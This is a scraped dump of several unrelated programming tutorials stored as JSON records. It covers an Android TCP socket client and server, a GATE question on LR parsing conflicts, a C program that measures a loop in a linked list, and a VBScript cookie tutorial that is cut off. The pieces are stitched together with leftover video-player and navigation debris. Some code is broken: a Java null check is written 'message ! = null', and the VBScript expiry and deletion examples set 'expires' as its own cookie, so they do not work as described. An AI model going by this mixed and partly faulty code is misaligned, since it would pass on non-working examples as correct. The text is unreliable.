\" + message + \"\\n\");\n etMessage.setText(\"\");\n }\n });\n }\n }\n}"
},
{
"code": null,
"e": 8129,
"s": 8074,
"text": "Step 4 − Add the following code to androidManifest.xml"
},
{
"code": null,
"e": 9097,
"s": 8129,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<manifest xmlns:android = \"http://schemas.android.com/apk/res/android\"\n package = \"com.example.myapplication\">\n <uses-permission android:name = \"android.permission.ACCESS_WIFI_STATE\" />\n <uses-permission android:name = \"android.permission.ACCESS_NETWORK_STATE\" />\n <uses-permission android:name = \"android.permission.INTERNET\"/>\n <application\n android:allowBackup = \"true\"\n android:icon = \"@mipmap/ic_launcher\"\n android:label = \"@string/app_name\"\n android:roundIcon = \"@mipmap/ic_launcher_round\"\n android:supportsRtl = \"true\"\n android:theme = \"@style/AppTheme\">\n <activity android:name = \".MainActivity\"\n android:label = \"Server\">\n <intent-filter>\n <action android:name = \"android.intent.action.MAIN\" />\n <category android:name = \"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n </application>\n</manifest>"
},
{
"code": null,
"e": 9226,
"s": 9097,
"text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project."
},
{
"code": null,
"e": 9291,
"s": 9226,
"text": "Step 2 − Add the following code to res/layout/activity_main.xml."
},
{
"code": null,
"e": 11208,
"s": 9291,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<RelativeLayout xmlns:android = \"http://schemas.android.com/apk/res/android\"\n xmlns:tools = \"http://schemas.android.com/tools\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"match_parent\"\n android:layout_margin = \"16dp\"\n tools:context = \".MainActivity\">\n <EditText\n android:id = \"@+id/etIP\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:hint = \"IP-Address\"\n android:inputType = \"text\" />\n <EditText\n android:id = \"@+id/etPort\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_below = \"@+id/etIP\"\n android:hint = \"Port No\"\n android:inputType = \"number\" />\n <Button\n android:id = \"@+id/btnConnect\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_below = \"@+id/etPort\"\n android:layout_gravity = \"center\"\n android:layout_marginTop = \"16dp\"\n android:text = \"Connect To Server\" />\n <TextView\n android:id = \"@+id/tvMessages\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_above = \"@+id/etMessage\"\n android:layout_below = \"@+id/btnConnect\"\n android:inputType = \"textMultiLine\"\n android:textAppearance = \"@style/Base.TextAppearance.AppCompat.Medium\" />\n <EditText\n android:id = \"@+id/etMessage\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_above = \"@+id/btnSend\"\n android:hint = \"Enter Message\"\n android:inputType = \"text\" />\n <Button\n android:id = \"@+id/btnSend\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\"\n android:layout_alignParentBottom = \"true\"\n android:text = \"SEND\" />\n</RelativeLayout>"
},
{
"code": null,
"e": 11273,
"s": 11208,
"text": "Step 3 − Add the following code to res/layout/MainActivity.java."
},
{
"code": null,
"e": 15016,
"s": 11273,
"text": "package com.client.myapplication.client;\nimport android.annotation.SuppressLint;\nimport android.os.Bundle;\nimport android.support.v7.app.AppCompatActivity;\nimport android.view.View;\nimport android.widget.Button;\nimport android.widget.EditText;\nimport android.widget.TextView;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.Socket;\n\n@SuppressLint(\"SetTextI18n\")\npublic class MainActivity extends AppCompatActivity {\n Thread Thread1 = null;\n EditText etIP, etPort;\n TextView tvMessages;\n EditText etMessage;\n Button btnSend;\n String SERVER_IP;\n int SERVER_PORT;\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n etIP = findViewById(R.id.etIP);\n etPort = findViewById(R.id.etPort);\n tvMessages = findViewById(R.id.tvMessages);\n etMessage = findViewById(R.id.etMessage);\n btnSend = findViewById(R.id.btnSend);\n Button btnConnect = findViewById(R.id.btnConnect);\n btnConnect.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n tvMessages.setText(\"\");\n SERVER_IP = etIP.getText().toString().trim();\n SERVER_PORT = Integer.parseInt(etPort.getText().toString().trim());\n Thread1 = new Thread(new Thread1());\n Thread1.start();\n }\n });\n btnSend.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n String message = etMessage.getText().toString().trim();\n if (!message.isEmpty()) {\n new Thread(new Thread3(message)).start();\n }\n }\n });\n }\n private PrintWriter output;\n private BufferedReader input;\n class Thread1 implements Runnable {\n @Override\n public void run() {\n Socket socket;\n try {\n socket = new Socket(SERVER_IP, SERVER_PORT);\n output = new PrintWriter(socket.getOutputStream());\n input = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.setText(\"Connected\\n\");\n }\n });\n new Thread(new Thread2()).start();\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n class Thread2 implements Runnable {\n @Override\n public void run() {\n while (true) {\n try {\n final String message = input.readLine();\n if (message ! = null) {\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.append(\"server: \" + message + \"\\n\");\n }\n });\n } else {\n Thread1 = new Thread(new Thread1());\n Thread1.start();\n return;\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n }\n class Thread3 implements Runnable {\n private String message;\n Thread3(String message) {\n this.message = message;\n }\n @Override\n public void run() {\n output.write(message);\n output.flush();\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n tvMessages.append(\"client: \" + message + \"\\n\");\n etMessage.setText(\"\");\n }\n });\n }\n }\n}"
},
{
"code": null,
"e": 15071,
"s": 15016,
"text": "Step 4 − Add the following code to androidManifest.xml"
},
{
"code": null,
"e": 16009,
"s": 15071,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<manifest xmlns:android = \"http://schemas.android.com/apk/res/android\"\n package = \"com.client.myapplication.client\">\n <uses-permission android:name = \"android.permission.INTERNET\" />\n <uses-permission android:name = \"android.permission.ACCESS_NETWORK_STATE\" />\n <application\n android:allowBackup = \"true\"\n android:icon = \"@mipmap/ic_launcher\"\n android:label = \"@string/app_name\"\n android:roundIcon = \"@mipmap/ic_launcher_round\"\n android:supportsRtl = \"true\"\n android:theme = \"@style/AppTheme\">\n <activity\n android:name = \"com.client.myapplication.client.MainActivity\"\n android:label = \"Client\">\n <intent-filter>\n <action android:name = \"android.intent.action.MAIN\" />\n <category android:name = \"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n </application>\n</manifest>"
},
{
"code": null,
"e": 16381,
"s": 16009,
"text": "Let's try to run your both server and client application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen –"
},
{
"code": null,
"e": 16421,
"s": 16381,
"text": "Click here to download the project code"
}
] |
GATE | GATE-CS-2014-(Set-1) | Question 44 - GeeksforGeeks
|
10 Sep, 2021
A canonical set of items is given below
S --> L. > R
Q --> R.
On input symbol < the set has
(A) a shift-reduce conflict and a reduce-reduce conflict.(B) a shift-reduce conflict but not a reduce-reduce conflict.(C) a reduce-reduce conflict but not a shift-reduce conflict.(D) neither a shift-reduce nor a reduce-reduce conflict.Answer: (D)Explanation: The question is asked with respect to the symbol ‘ < ' which is not present in the given canonical set of items. Hence it is neither a shift-reduce conflict nor a reduce-reduce conflict on symbol ‘<'.
Hence D is the correct option.
But if the question would have asked with respect to the symbol ‘ > ‘ then it would have been a shift-reduce conflict.
YouTubeGeeksforGeeks GATE Computer Science16.1K subscribersGATE PYQ - Parsing and SDT (Continued) Part 3 with Joyojyoti AcharyaWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:0038:16 / 52:18•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=Sn5eIxvrNBc" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>Quiz of this Question
GATE-CS-2014-(Set-1)
GATE-GATE-CS-2014-(Set-1)
GATE
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
GATE | GATE-IT-2004 | Question 71
GATE | GATE CS 2011 | Question 7
GATE | GATE-CS-2015 (Set 3) | Question 65
GATE | GATE-CS-2014-(Set-3) | Question 38
GATE | GATE CS 2018 | Question 37
GATE | GATE-CS-2016 (Set 1) | Question 65
GATE | GATE-IT-2004 | Question 83
GATE | GATE-CS-2016 (Set 1) | Question 63
GATE | GATE-CS-2014-(Set-2) | Question 65
GATE | GATE-CS-2007 | Question 64
|
[
{
"code": null,
"e": 24466,
"s": 24438,
"text": "\n10 Sep, 2021"
},
{
"code": null,
"e": 24506,
"s": 24466,
"text": "A canonical set of items is given below"
},
{
"code": null,
"e": 24528,
"s": 24506,
"text": "S --> L. > R\nQ --> R."
},
{
"code": null,
"e": 25051,
"s": 24528,
"text": "On input symbol < the set has\n(A) a shift-reduce conflict and a reduce-reduce conflict.(B) a shift-reduce conflict but not a reduce-reduce conflict.(C) a reduce-reduce conflict but not a shift-reduce conflict.(D) neither a shift-reduce nor a reduce-reduce conflict.Answer: (D)Explanation: The question is asked with respect to the symbol ‘ < ' which is not present in the given canonical set of items. Hence it is neither a shift-reduce conflict nor a reduce-reduce conflict on symbol ‘<'.\nHence D is the correct option."
},
{
"code": null,
"e": 25172,
"s": 25051,
"text": "But if the question would have asked with respect to the symbol ‘ > ‘ then it would have been a shift-reduce conflict."
},
{
"code": null,
"e": 26069,
"s": 25172,
"text": "YouTubeGeeksforGeeks GATE Computer Science16.1K subscribersGATE PYQ - Parsing and SDT (Continued) Part 3 with Joyojyoti AcharyaWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:0038:16 / 52:18•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=Sn5eIxvrNBc\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>Quiz of this Question"
},
{
"code": null,
"e": 26090,
"s": 26069,
"text": "GATE-CS-2014-(Set-1)"
},
{
"code": null,
"e": 26116,
"s": 26090,
"text": "GATE-GATE-CS-2014-(Set-1)"
},
{
"code": null,
"e": 26121,
"s": 26116,
"text": "GATE"
},
{
"code": null,
"e": 26219,
"s": 26121,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26228,
"s": 26219,
"text": "Comments"
},
{
"code": null,
"e": 26241,
"s": 26228,
"text": "Old Comments"
},
{
"code": null,
"e": 26275,
"s": 26241,
"text": "GATE | GATE-IT-2004 | Question 71"
},
{
"code": null,
"e": 26308,
"s": 26275,
"text": "GATE | GATE CS 2011 | Question 7"
},
{
"code": null,
"e": 26350,
"s": 26308,
"text": "GATE | GATE-CS-2015 (Set 3) | Question 65"
},
{
"code": null,
"e": 26392,
"s": 26350,
"text": "GATE | GATE-CS-2014-(Set-3) | Question 38"
},
{
"code": null,
"e": 26426,
"s": 26392,
"text": "GATE | GATE CS 2018 | Question 37"
},
{
"code": null,
"e": 26468,
"s": 26426,
"text": "GATE | GATE-CS-2016 (Set 1) | Question 65"
},
{
"code": null,
"e": 26502,
"s": 26468,
"text": "GATE | GATE-IT-2004 | Question 83"
},
{
"code": null,
"e": 26544,
"s": 26502,
"text": "GATE | GATE-CS-2016 (Set 1) | Question 63"
},
{
"code": null,
"e": 26586,
"s": 26544,
"text": "GATE | GATE-CS-2014-(Set-2) | Question 65"
}
] |
C Program For Finding The Length Of Loop In Linked List - GeeksforGeeks
|
11 Jan, 2022
Write a function detectAndCountLoop() that checks whether a given Linked List contains loop and if loop is present then returns count of nodes in loop. For example, the loop is present in below-linked list and length of the loop is 4. If the loop is not present, then the function should return 0.
Approach:It is known that Floyd’s Cycle detection algorithm terminates when fast and slow pointers meet at a common point. It is also known that this common point is one of the loop nodes. Store the address of this common point in a pointer variable say (ptr). Then initialize a counter with 1 and start from the common point and keeps on visiting the next node and increasing the counter till the common pointer is reached again. At that point, the value of the counter will be equal to the length of the loop.Algorithm:
Find the common point in the loop by using the Floyd’s Cycle detection algorithmStore the pointer in a temporary variable and keep a count = 0Traverse the linked list until the same node is reached again and increase the count while moving to next node.Print the count as length of loop
Find the common point in the loop by using the Floyd’s Cycle detection algorithm
Store the pointer in a temporary variable and keep a count = 0
Traverse the linked list until the same node is reached again and increase the count while moving to next node.
Print the count as length of loop
C
// C program to count number of nodes// in loop in a linked list if loop is// present#include<stdio.h>#include<stdlib.h> // Link list nodestruct Node{ int data; struct Node* next;}; // Returns count of nodes present // in loop.int countNodes(struct Node *n){ int res = 1; struct Node *temp = n; while (temp->next != n) { res++; temp = temp->next; } return res;} /* This function detects and counts loop nodes in the list. If loop is not there in then returns 0 */int countNodesinLoop(struct Node *list){ struct Node *slow_p = list, *fast_p = list; while (slow_p && fast_p && fast_p->next) { slow_p = slow_p->next; fast_p = fast_p->next->next; /* If slow_p and fast_p meet at some point then there is a loop */ if (slow_p == fast_p) return countNodes(slow_p); } // Return 0 to indicate that there // is no loop return 0;} struct Node *newNode(int key){ struct Node *temp = (struct Node*)malloc(sizeof(struct Node)); temp->data = key; temp->next = NULL; return temp;} // Driver codeint main(){ struct Node *head = newNode(1); head->next = newNode(2); head->next->next = newNode(3); head->next->next->next = newNode(4); head->next->next->next->next = newNode(5); // Create a loop for testing head->next->next->next->next->next = head->next; printf("%d", countNodesinLoop(head)); return 0;}
Output:
4
Complexity Analysis:
Time complexity:O(n). Only one traversal of the linked list is needed.
Auxiliary Space:O(1). As no extra space is required.
Please refer complete article on Find length of loop in linked list for more details!
Adobe
Linked Lists
Qualcomm
C Language
C Programs
Linked List
Adobe
Qualcomm
Linked List
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
TCP Server-Client implementation in C
Multithreading in C
Exception Handling in C++
'this' pointer in C++
Arrow operator -> in C/C++ with Examples
Strings in C
Arrow operator -> in C/C++ with Examples
UDP Server-Client implementation in C
C Program to read contents of Whole File
Header files in C/C++ and its uses
|
[
{
"code": null,
"e": 24286,
"s": 24258,
"text": "\n11 Jan, 2022"
},
{
"code": null,
"e": 24584,
"s": 24286,
"text": "Write a function detectAndCountLoop() that checks whether a given Linked List contains loop and if loop is present then returns count of nodes in loop. For example, the loop is present in below-linked list and length of the loop is 4. If the loop is not present, then the function should return 0."
},
{
"code": null,
"e": 25106,
"s": 24584,
"text": "Approach:It is known that Floyd’s Cycle detection algorithm terminates when fast and slow pointers meet at a common point. It is also known that this common point is one of the loop nodes. Store the address of this common point in a pointer variable say (ptr). Then initialize a counter with 1 and start from the common point and keeps on visiting the next node and increasing the counter till the common pointer is reached again. At that point, the value of the counter will be equal to the length of the loop.Algorithm:"
},
{
"code": null,
"e": 25393,
"s": 25106,
"text": "Find the common point in the loop by using the Floyd’s Cycle detection algorithmStore the pointer in a temporary variable and keep a count = 0Traverse the linked list until the same node is reached again and increase the count while moving to next node.Print the count as length of loop"
},
{
"code": null,
"e": 25474,
"s": 25393,
"text": "Find the common point in the loop by using the Floyd’s Cycle detection algorithm"
},
{
"code": null,
"e": 25537,
"s": 25474,
"text": "Store the pointer in a temporary variable and keep a count = 0"
},
{
"code": null,
"e": 25649,
"s": 25537,
"text": "Traverse the linked list until the same node is reached again and increase the count while moving to next node."
},
{
"code": null,
"e": 25683,
"s": 25649,
"text": "Print the count as length of loop"
},
{
"code": null,
"e": 25685,
"s": 25683,
"text": "C"
},
{
"code": "// C program to count number of nodes// in loop in a linked list if loop is// present#include<stdio.h>#include<stdlib.h> // Link list nodestruct Node{ int data; struct Node* next;}; // Returns count of nodes present // in loop.int countNodes(struct Node *n){ int res = 1; struct Node *temp = n; while (temp->next != n) { res++; temp = temp->next; } return res;} /* This function detects and counts loop nodes in the list. If loop is not there in then returns 0 */int countNodesinLoop(struct Node *list){ struct Node *slow_p = list, *fast_p = list; while (slow_p && fast_p && fast_p->next) { slow_p = slow_p->next; fast_p = fast_p->next->next; /* If slow_p and fast_p meet at some point then there is a loop */ if (slow_p == fast_p) return countNodes(slow_p); } // Return 0 to indicate that there // is no loop return 0;} struct Node *newNode(int key){ struct Node *temp = (struct Node*)malloc(sizeof(struct Node)); temp->data = key; temp->next = NULL; return temp;} // Driver codeint main(){ struct Node *head = newNode(1); head->next = newNode(2); head->next->next = newNode(3); head->next->next->next = newNode(4); head->next->next->next->next = newNode(5); // Create a loop for testing head->next->next->next->next->next = head->next; printf(\"%d\", countNodesinLoop(head)); return 0;}",
"e": 27181,
"s": 25685,
"text": null
},
{
"code": null,
"e": 27189,
"s": 27181,
"text": "Output:"
},
{
"code": null,
"e": 27191,
"s": 27189,
"text": "4"
},
{
"code": null,
"e": 27212,
"s": 27191,
"text": "Complexity Analysis:"
},
{
"code": null,
"e": 27283,
"s": 27212,
"text": "Time complexity:O(n). Only one traversal of the linked list is needed."
},
{
"code": null,
"e": 27336,
"s": 27283,
"text": "Auxiliary Space:O(1). As no extra space is required."
},
{
"code": null,
"e": 27422,
"s": 27336,
"text": "Please refer complete article on Find length of loop in linked list for more details!"
},
{
"code": null,
"e": 27428,
"s": 27422,
"text": "Adobe"
},
{
"code": null,
"e": 27441,
"s": 27428,
"text": "Linked Lists"
},
{
"code": null,
"e": 27450,
"s": 27441,
"text": "Qualcomm"
},
{
"code": null,
"e": 27461,
"s": 27450,
"text": "C Language"
},
{
"code": null,
"e": 27472,
"s": 27461,
"text": "C Programs"
},
{
"code": null,
"e": 27484,
"s": 27472,
"text": "Linked List"
},
{
"code": null,
"e": 27490,
"s": 27484,
"text": "Adobe"
},
{
"code": null,
"e": 27499,
"s": 27490,
"text": "Qualcomm"
},
{
"code": null,
"e": 27511,
"s": 27499,
"text": "Linked List"
},
{
"code": null,
"e": 27609,
"s": 27511,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27647,
"s": 27609,
"text": "TCP Server-Client implementation in C"
},
{
"code": null,
"e": 27667,
"s": 27647,
"text": "Multithreading in C"
},
{
"code": null,
"e": 27693,
"s": 27667,
"text": "Exception Handling in C++"
},
{
"code": null,
"e": 27715,
"s": 27693,
"text": "'this' pointer in C++"
},
{
"code": null,
"e": 27756,
"s": 27715,
"text": "Arrow operator -> in C/C++ with Examples"
},
{
"code": null,
"e": 27769,
"s": 27756,
"text": "Strings in C"
},
{
"code": null,
"e": 27810,
"s": 27769,
"text": "Arrow operator -> in C/C++ with Examples"
},
{
"code": null,
"e": 27848,
"s": 27810,
"text": "UDP Server-Client implementation in C"
},
{
"code": null,
"e": 27889,
"s": 27848,
"text": "C Program to read contents of Whole File"
}
] |
VBScript and Cookies
|
Web Browsers and Servers use HTTP protocol to communicate and HTTP is a stateless protocol. But for a commercial website, it is required to maintain session information among different pages. For example, one user registration ends after completing many pages. But how to maintain user's session information across all the web pages. In many situations, using cookies is the most efficient method of remembering and tracking preferences, purchases, commissions and other information required for better visitor experience or site statistics.
Your server sends some data to the visitor's browser in the form of a cookie. The browser may accept the cookie. If it does, it is stored as a plain text record on the visitor's hard drive. Now, when the visitor arrives at another page on your site, the browser sends the same cookie to the server for retrieval. Once retrieved, your server knows/remembers what was stored earlier. Cookies are a plain text data record of 5 variable-length fields −
Expires − The date the cookie will expire. If this is blank, the cookie will expire when the visitor quits the browser.
Expires − The date the cookie will expire. If this is blank, the cookie will expire when the visitor quits the browser.
Domain − The domain name of your site.
Domain − The domain name of your site.
Path − The path to the directory or web page that set the cookie. This may be blank if you want to retrieve the cookie from any directory or page.
Path − The path to the directory or web page that set the cookie. This may be blank if you want to retrieve the cookie from any directory or page.
Secure − If this field contains the word "secure", then the cookie may only be retrieved with a secure server. If this field is blank, no such restriction exists.
Secure − If this field contains the word "secure", then the cookie may only be retrieved with a secure server. If this field is blank, no such restriction exists.
Name=Value − Cookies are set and retrieved in the form of key and value pairs.
Name=Value − Cookies are set and retrieved in the form of key and value pairs.
Cookies were originally designed for CGI programming and cookies' data is automatically transmitted between the web browser and web server, so CGI scripts on the server can read and write cookie values that are stored on the client.
VBScript can also manipulate cookies using the cookie property of the Document object. VBScript can read, create, modify and delete the cookie or cookies that apply to the current web page.
The simplest way to create a cookie is to assign a string value to the document.cookie object, which looks like this −
document.cookie = "key1 = value1;key2 = value2;expires = date"
Here expires attribute is optional. If you provide this attribute with a valid date or time, then cookie will expire at the given date or time and after that cookies' value will not be accessible.
Following is the example to set a customer name in input cookie.
<html>
<head>
<script type = "text/vbscript">
Function WriteCookie
If document.myform.customer.value = "" Then
msgbox "Enter some value!"
Else
cookievalue = (document.myform.customer.value)
document.cookie = "name = " + cookievalue
msgbox "Setting Cookies : " & "name = " & cookievalue
End If
End Function
</script>
</head>
<body>
<form name = "myform" action = "">
Enter name: <input type = "text" name = "customer"/>
<input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
</form>
</body>
</html>
It will produce the following result. Now enter something in the textbox and press the button "Set Cookie" to set the cookies.
Enter name:
Now, your system has a cookie called name. You can set multiple cookies using multiple key = value pairs separated by comma. You will learn how to read this cookie in next section.
Reading a cookie is just as simple as writing one, because the value of the document.cookie object is the cookie. So, you can use this string whenever you want to access the cookie. The document.cookie string will keep a list of name = value pairs separated by semicolons where name is the name of a cookie and value is its string value. You can use strings' split() function to break the string into key and values as follows −
Following is the example to get the cookies set in the previous section −
<html>
<head>
<script type = "text/vbscript">
Function ReadCookie
allcookies = document.cookie
msgbox "All Cookies : " + allcookies
cookiearray = split(allcookies,";")
For i = 0 to ubound(cookiearray)
Name = Split(cookiearray(i),"=")
Msgbox "Key is : " + Name(0) + " and Value is : " + Name(1)
Next
End Function
</script>
</head>
<body>
<form name = "myform" action = "">
<input type = "button" value = "Get Cookie" onclick = "ReadCookie()"/>
</form>
</body>
</html>
Note − Here, UBound is a method of Array class, which returns the length of an array. We will discuss Arrays in a separate chapter; until that time, please try to digest it.
It will produce the following result. Now, press the button "Get Cookie" to see the cookies, which you have set in previous section.
Note − There may be some other cookies already set on your machine. So, above code will show you all the cookies set at your machine.
You can extend the life of a cookie beyond the current browser session by setting an expiration date and saving the expiration date within the cookie. This can be done by setting the expires attribute to a date and time.
The following example illustrates how to set cookie expiration date after 1 Month −
<html>
<head>
<script type = "text/vbscript">
Function WriteCookie()
x = now()
y = dateadd("m",1,now()) ' Making it to expire next
cookievalue = document.myform.customer.value
document.cookie = "name = " & cookievalue
document.cookie = "expires = " & y
msgbox("Setting Cookies : " & "name=" & cookievalue )
End Function
</script>
</head>
<body>
<form name = "myform" action = "">
Enter name: <input type = "text" name = "customer"/>
<input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
</form>
</body>
</html>
Sometimes, you will want to delete a cookie so that subsequent attempts to read the cookie return nothing. To do this, you just need to set the expiration date to a time in the past.
The following example illustrates how to delete a cookie by setting its expiration date 1 Month in the past −
<html>
<head>
<script type = "text/vbscript">
Function WriteCookie()
x = now()
x = now()
a = Month(x)-1
b = day(x)
c = year(x)
d = DateSerial(c,a,b)
e = hour(x)
msgbox e
f = minute(x)
msgbox f
d = cdate(d & " " & e & ":" & f)
msgbox d
cookievalue = document.myform.customer.value
document.cookie = "name = " & cookievalue
document.cookie = "expires = " & d
msgbox("Setting Cookies : " & "name=" & cookievalue )
End Function
</script>
</head>
<body>
<form name = "myform" action = "">
Enter name: <input type = "text" name = "customer"/>
<input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
</form>
</body>
</html>
63 Lectures
4 hours
Frahaan Hussain
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2622,
"s": 2080,
"text": "Web Browsers and Servers use HTTP protocol to communicate and HTTP is a stateless protocol. But for a commercial website, it is required to maintain session information among different pages. For example, one user registration ends after completing many pages. But how to maintain user's session information across all the web pages. In many situations, using cookies is the most efficient method of remembering and tracking preferences, purchases, commissions and other information required for better visitor experience or site statistics."
},
{
"code": null,
"e": 3071,
"s": 2622,
"text": "Your server sends some data to the visitor's browser in the form of a cookie. The browser may accept the cookie. If it does, it is stored as a plain text record on the visitor's hard drive. Now, when the visitor arrives at another page on your site, the browser sends the same cookie to the server for retrieval. Once retrieved, your server knows/remembers what was stored earlier. Cookies are a plain text data record of 5 variable-length fields −"
},
{
"code": null,
"e": 3191,
"s": 3071,
"text": "Expires − The date the cookie will expire. If this is blank, the cookie will expire when the visitor quits the browser."
},
{
"code": null,
"e": 3311,
"s": 3191,
"text": "Expires − The date the cookie will expire. If this is blank, the cookie will expire when the visitor quits the browser."
},
{
"code": null,
"e": 3350,
"s": 3311,
"text": "Domain − The domain name of your site."
},
{
"code": null,
"e": 3389,
"s": 3350,
"text": "Domain − The domain name of your site."
},
{
"code": null,
"e": 3536,
"s": 3389,
"text": "Path − The path to the directory or web page that set the cookie. This may be blank if you want to retrieve the cookie from any directory or page."
},
{
"code": null,
"e": 3683,
"s": 3536,
"text": "Path − The path to the directory or web page that set the cookie. This may be blank if you want to retrieve the cookie from any directory or page."
},
{
"code": null,
"e": 3846,
"s": 3683,
"text": "Secure − If this field contains the word \"secure\", then the cookie may only be retrieved with a secure server. If this field is blank, no such restriction exists."
},
{
"code": null,
"e": 4009,
"s": 3846,
"text": "Secure − If this field contains the word \"secure\", then the cookie may only be retrieved with a secure server. If this field is blank, no such restriction exists."
},
{
"code": null,
"e": 4088,
"s": 4009,
"text": "Name=Value − Cookies are set and retrieved in the form of key and value pairs."
},
{
"code": null,
"e": 4167,
"s": 4088,
"text": "Name=Value − Cookies are set and retrieved in the form of key and value pairs."
},
{
"code": null,
"e": 4400,
"s": 4167,
"text": "Cookies were originally designed for CGI programming and cookies' data is automatically transmitted between the web browser and web server, so CGI scripts on the server can read and write cookie values that are stored on the client."
},
{
"code": null,
"e": 4590,
"s": 4400,
"text": "VBScript can also manipulate cookies using the cookie property of the Document object. VBScript can read, create, modify and delete the cookie or cookies that apply to the current web page."
},
{
"code": null,
"e": 4709,
"s": 4590,
"text": "The simplest way to create a cookie is to assign a string value to the document.cookie object, which looks like this −"
},
{
"code": null,
"e": 4773,
"s": 4709,
"text": "document.cookie = \"key1 = value1;key2 = value2;expires = date\"\n"
},
{
"code": null,
"e": 4970,
"s": 4773,
"text": "Here expires attribute is optional. If you provide this attribute with a valid date or time, then cookie will expire at the given date or time and after that cookies' value will not be accessible."
},
{
"code": null,
"e": 5035,
"s": 4970,
"text": "Following is the example to set a customer name in input cookie."
},
{
"code": null,
"e": 5722,
"s": 5035,
"text": "<html>\n <head>\n <script type = \"text/vbscript\">\n Function WriteCookie\n If document.myform.customer.value = \"\" Then\n msgbox \"Enter some value!\"\n Else\n cookievalue = (document.myform.customer.value)\n document.cookie = \"name = \" + cookievalue\n msgbox \"Setting Cookies : \" & \"name = \" & cookievalue\n End If\n End Function\n </script>\n </head>\n \n <body>\n <form name = \"myform\" action = \"\">\n Enter name: <input type = \"text\" name = \"customer\"/>\n <input type = \"button\" value = \"Set Cookie\" onclick = \"WriteCookie()\"/>\n </form>\n </body>\n</html>"
},
{
"code": null,
"e": 5849,
"s": 5722,
"text": "It will produce the following result. Now enter something in the textbox and press the button \"Set Cookie\" to set the cookies."
},
{
"code": null,
"e": 5866,
"s": 5849,
"text": "\nEnter name: \n\n"
},
{
"code": null,
"e": 6047,
"s": 5866,
"text": "Now, your system has a cookie called name. You can set multiple cookies using multiple key = value pairs separated by comma. You will learn how to read this cookie in next section."
},
{
"code": null,
"e": 6476,
"s": 6047,
"text": "Reading a cookie is just as simple as writing one, because the value of the document.cookie object is the cookie. So, you can use this string whenever you want to access the cookie. The document.cookie string will keep a list of name = value pairs separated by semicolons where name is the name of a cookie and value is its string value. You can use strings' split() function to break the string into key and values as follows −"
},
{
"code": null,
"e": 6550,
"s": 6476,
"text": "Following is the example to get the cookies set in the previous section −"
},
{
"code": null,
"e": 7188,
"s": 6550,
"text": "<html>\n <head>\n <script type = \"text/vbscript\">\n Function ReadCookie\n allcookies = document.cookie\n msgbox \"All Cookies : \" + allcookies\n cookiearray = split(allcookies,\";\")\n \n For i = 0 to ubound(cookiearray)\n Name = Split(cookiearray(i),\"=\")\n Msgbox \"Key is : \" + Name(0) + \" and Value is : \" + Name(1)\n Next\n End Function\n </script>\n </head>\n \n <body>\n <form name = \"myform\" action = \"\">\n <input type = \"button\" value = \"Get Cookie\" onclick = \"ReadCookie()\"/>\n </form>\n </body>\n</html>"
},
{
"code": null,
"e": 7362,
"s": 7188,
"text": "Note − Here, UBound is a method of Array class, which returns the length of an array. We will discuss Arrays in a separate chapter; until that time, please try to digest it."
},
{
"code": null,
"e": 7495,
"s": 7362,
"text": "It will produce the following result. Now, press the button \"Get Cookie\" to see the cookies, which you have set in previous section."
},
{
"code": null,
"e": 7633,
"s": 7499,
